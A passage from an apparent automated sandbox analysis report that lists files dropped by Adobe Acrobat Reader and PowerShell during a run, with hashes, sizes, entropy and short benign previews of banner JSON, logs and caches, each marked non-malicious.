Preview:	{"analyticsData":{"responseGUID":"34fe9bff-58d4-4f2e-919e-15a8a0784a74","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748459505,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.275718608416044
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMJDR040EeJH0nZiQ0Y+yoAvJfYdPeUkwRe9:YvXKXkNmtV0clBGg8Ukee9
MD5:	E86F1857FBC480E61266978166FF825E
SHA1:	62FCB67FD0B5D18B4A0F1F3B42DF18B1CB878AFC
SHA-256:	1A039627FE7FBDFABDE865BF192D35B88FDC8E296033859E2787EDCA7FD17AF7
SHA-512:	83837293DF858BA6B31246AF5C1F28B7603E3FF2F2E7C4C0102C797E97D6DFAFA69FC07BD0335A0FE899156120D8A72A093E944B2588AB9C3F193091E3811AD1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"34fe9bff-58d4-4f2e-919e-15a8a0784a74","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748459505,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.261922845570928
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMJDR040EeJH0nZiQ0Y+yoAvJf+dPeUkwRe9:YvXKXkNmtV0clBG28Ukee9
MD5:	CC1E569DA1644929147E926DEAF3A95E
SHA1:	24BD9A1551353581B51CD34524C89218F241BFDC
SHA-256:	D9DCA13BDB49E5FE0D320822AE5B0A8E72C512D0C7BC43D1E94D7117010A3A95
SHA-512:	18B9CC2054072D87DFB39D2543DFE95BC40DE4ED74FC112862A9C16410B3BA85BFE7557B9729DC97AD55010F6BE35FA3C32A85E561777B7E8F30F022B7E1A257
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"34fe9bff-58d4-4f2e-919e-15a8a0784a74","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748459505,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.259432588506293
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMJDR040EeJH0nZiQ0Y+yoAvJfbPtdPeUkwRe9:YvXKXkNmtV0clBGDV8Ukee9
MD5:	D6B71482A3E1C1DEA225E14492082BEA
SHA1:	190C6463AD3DD66D3BE77523F3B53C0456ACF109
SHA-256:	3835C176308DABB5C0D82C6EE8519BD0F5393B76256162CBBC2BB515D5FCC425
SHA-512:	465BC44D77E7CF35487168BFCDBA827DA681888A0FC6B5996FBCF8EDF6BEA650C595A3EABBC2EE98ABC3E59004584364C64A4130E035205E5C8981E694826163
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"34fe9bff-58d4-4f2e-919e-15a8a0784a74","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748459505,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.262773683686698
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMJDR040EeJH0nZiQ0Y+yoAvJf21rPeUkwRe9:YvXKXkNmtV0clBG+16Ukee9
MD5:	2A2A5909B68899BBCD6447085C312E82
SHA1:	8A4B7EA74BB6CDFFFBC60A58F03C4A43F54CD01D
SHA-256:	734B7F4C3C736CED998C15CD1A7EC1DEB981864F808B80518F13F89DB26360E4
SHA-512:	059FEABC21B9B6FB62C04C40AEC33223902E91AE62C85D9CF6C21BBCFB94B3745E943597FA9F73E27CECC6CF36322A58728813D15BB801355A4F8226F8EB4C09
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"34fe9bff-58d4-4f2e-919e-15a8a0784a74","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748459505,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667001399423014
Encrypted:	false
SSDEEP:	24:Yv6XkAtl6amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSI:YvI0BgkDMUJUAh8cvMI
MD5:	727DBCCEF043D3EC23045036F993EED2
SHA1:	952955393148AACC3C6E687B543EA1536BCDA07F
SHA-256:	2BEF3DBE665AA3068042C15DF577D77DF466C550DE108AD6CCA216A3D362E214
SHA-512:	752DDFA7FE17BED0B74B4B0FFCB8F2DE5B2CE2BE0DF6D44663FC4203F7D62662CA3341AE684BEAF1DDCA33F42C2B1A4872E82FAEDD6EA89AB47055F3BE0A71BB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"34fe9bff-58d4-4f2e-919e-15a8a0784a74","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748459505,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2405999064040785
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMJDR040EeJH0nZiQ0Y+yoAvJfshHHrPeUkwRe9:YvXKXkNmtV0clBGUUUkee9
MD5:	DAB42207ECD0A0514EAD6FDA1CE5E8FE
SHA1:	4022E2DE2444FBD623793B95517E15B793025D85
SHA-256:	7863B5E0F4DDDCFE56E61DD49B8A78B8CDE2C61B9F08426E32C29D0EC4EDE436
SHA-512:	6C36FEF2DAB4A3414F2E4733282AA3A9A1F47AC2A8E42D8D4DFA065F97EBFE084A913326ABC861BB3093F1749B8DADEB676761D97FF307ACFAB92A088AA6FA58
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"34fe9bff-58d4-4f2e-919e-15a8a0784a74","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748459505,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.252799956077621
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMJDR040EeJH0nZiQ0Y+yoAvJTqgFCrPeUkwRe9:YvXKXkNmtV0clBGTq16Ukee9
MD5:	6E342868EC2FF534C1B875B0FE4B1E91
SHA1:	2856427FD495D344B1EF597020CDA6C6AFE1D60A
SHA-256:	09F8F9C834ED34F990A1187FF93B60D1BC8507A0379CEAA90CD8F0EB44171B88
SHA-512:	03A57CD543EC557A266A8B2FE5CE73492146B348F1EFFBE97B94E139F8AE22E5CBEE532FAA3C4F05D2459DC305A4EFB258CBB314F0BF6EA6DFE141A6CD316591
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"34fe9bff-58d4-4f2e-919e-15a8a0784a74","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748459505,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.13816432967495
Encrypted:	false
SSDEEP:	24:Yxija+D90tayJ5sajwSiS2Bw5IcRjzfoj0SnTc32m2LS5CtosQgFik59xsM9gbKK:Yq1UsU7qqHPNsQgFFfxsM9Q
MD5:	38EE951D47A071555A3FAE41D12F9033
SHA1:	78E2CFD134F2CB64F02B28425BC39351B90410F2
SHA-256:	39A0074D747DB2E71560BEA1E7F9A2ED94E27F1DE1B886CDAA6ADC4C638EC932
SHA-512:	7F870AEA028BDFA09DE793BF22577B9C6AF4234C960977DCBA9150EFEF981E44E3FC5A8DB492E77E1295DCFEC2E0F0F7C0CDFC5BCCC2A1CE67CE762E27D0AAC7
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"acb15b1ef904ed6deaa87ee4e88d58e1","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736568923000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"6fcfb184f4890c86d08c1e47a2b43606","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736568923000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"5345dd7d6086fd8dcdf86d9ae91eb793","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736568923000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3a0a9f391c648c578538199395017714","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736568923000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ede185d070bcda9896717eb64f89999a","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736568923000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"b386d5f86baeaacbbe4a6941cfb570c1","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1465036344656099
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urs1RZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHY:TFl2GL7msJXc+XcGNFlRYIX2v3kY
MD5:	697F2DBC76E9ADD5AA76B5C7FA469DF9
SHA1:	10083F28035CB95BB6B4A3C0FA45AEEE33A063C8
SHA-256:	057F77EB89FCFB50BE478C3F33CCDAA3F595656CFCFC0BB6FAD2D2B90B5FD0DE
SHA-512:	686014602A5D6A79232347FA9591A132A9048FB57C3AF9503C55BE6FAB4E0C4D43C4CF2EB4DC9B6B1BA26E50B3D33EFA0482014CC0B75DD97E65FC6715CA5367
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5533059648040395
Encrypted:	false
SSDEEP:	24:7+tHUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxqqLxx/XYKQg:7M0Xc+XcGNFlRYIX2vTqVl2GL7msz
MD5:	601431D70D0ED645F9A6276D63D84D00
SHA1:	826CB4170BCC53A25AD7662DAF32EB68B9F749DA
SHA-256:	A415E09CE3CFF7EEAB86C6163D88C7DE62D0A72D01CE020C447EA83555760210
SHA-512:	1038B7DD4DDBC6A39D4AC110459DBDD9D0F9DCEFEFADDB55E62DF212934B5CC759D992FD28622DE416BC8A58BFB124304C44E91F125B0B7D36E339689110BEFF
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgZCslZtXCdOEWZQfA6Xl+Kc+9hDQYyu:6a6TZ44ADEZLtOOEY6Xlz9h0K
MD5:	B2A08B36290C5B14E244097781B37597
SHA1:	A1E0A6C70FE92F41B1EAEFB61AD78ECABFBD1B22
SHA-256:	39059BA60BFE21E1F7F342C74CA4C9CD1E5B44955C21448E1C37AE07F03A29CC
SHA-512:	0CDCA2555B9B6E9994D25CE4C6546C3B76B05E08FBCB71827B7F88EDBFB9EF4F5D90344A78DB44767044EB4476ED9578313A38BAB5D015C6B13AA836333DC4AD
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSIeac61.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClGXH:Qw946cPbiOxDlbYnuRK+b/XH
MD5:	CFA13EA937529AF6139CE6F4CFC6BB6B
SHA1:	714A935FE209AFFDD4A22FF3B192142036048226
SHA-256:	75A9AAC471A19B31E5786A5A127530E440AE0CE1E658DE713BD59343B534E445
SHA-512:	2A32A69CC926ED2874DDE59FCCED83376B2301226766E06883BD3E17FB2A0417B65F0A7C04BA39F23A15630527F1CEB0134DAF1ECA5BFE964018D2268CA43C67
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.1.5.:.2.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kwe5mnbd.a0a.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_th1rlnj4.fzs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9hiowdy_2plmg2_lk.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-15-17-014.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.356665477509228
Encrypted:	false
SSDEEP:	384:72BkZdhi5tCafVun00psV7UBJq1yj5pAFaOjNFD9bXrRfgDkSz40CPCjmzFnuVN8:W6o
MD5:	C8736F6B6DE1F3A644604D5D134BCDA5
SHA1:	92FECC6A764E9667383FB4B7D3BE9C977450028A
SHA-256:	4D8C20D4885CDD69912586474642DA4E7B579B97E0FC82CCCCD2E697628D0079
SHA-512:	C4F0202369E09AD0274D19456F152926BF1C7CA7936576786CF941CB53C877FFB7312371728E3809EB3E777F7CAE91D3979ABB0A61BDC9EA4F20231A5EA3B2F0
Malicious:	false
Preview:	SessionID=8d163025-2ac5-42cf-81e8-bb58f7698105.1736568917037 Timestamp=2025-01-10T23:15:17:037-0500 ThreadID=7624 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=8d163025-2ac5-42cf-81e8-bb58f7698105.1736568917037 Timestamp=2025-01-10T23:15:17:047-0500 ThreadID=7624 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=8d163025-2ac5-42cf-81e8-bb58f7698105.1736568917037 Timestamp=2025-01-10T23:15:17:048-0500 ThreadID=7624 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=8d163025-2ac5-42cf-81e8-bb58f7698105.1736568917037 Timestamp=2025-01-10T23:15:17:048-0500 ThreadID=7624 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=8d163025-2ac5-42cf-81e8-bb58f7698105.1736568917037 Timestamp=2025-01-10T23:15:17:048-0500 ThreadID=7624 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.398084488212153
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbqCxMcb0ISKcbF:V3fOCIdJDecCxLS1
MD5:	09A5C1E38E8D6A911F95806E6F785A04
SHA1:	A031DF4227CA5D64F13E6BCFFC7FD88280B143FC
SHA-256:	9DDA8B65C3934E7D386B46637259D7E6732559FA1DBC88C4E58652E9B1825A42
SHA-512:	4FBB35F7068910466160A2C29E489A44D09BFEEA28CFC8E036C1AF912B1CB7D6CB78408F68E8F22201A6705BF65A9D1DFDD0B5B229048446BA1AC2E058E1E5FB
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3f4c7d8f-5f4b-4c04-8ba0-f7b42b9891d4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
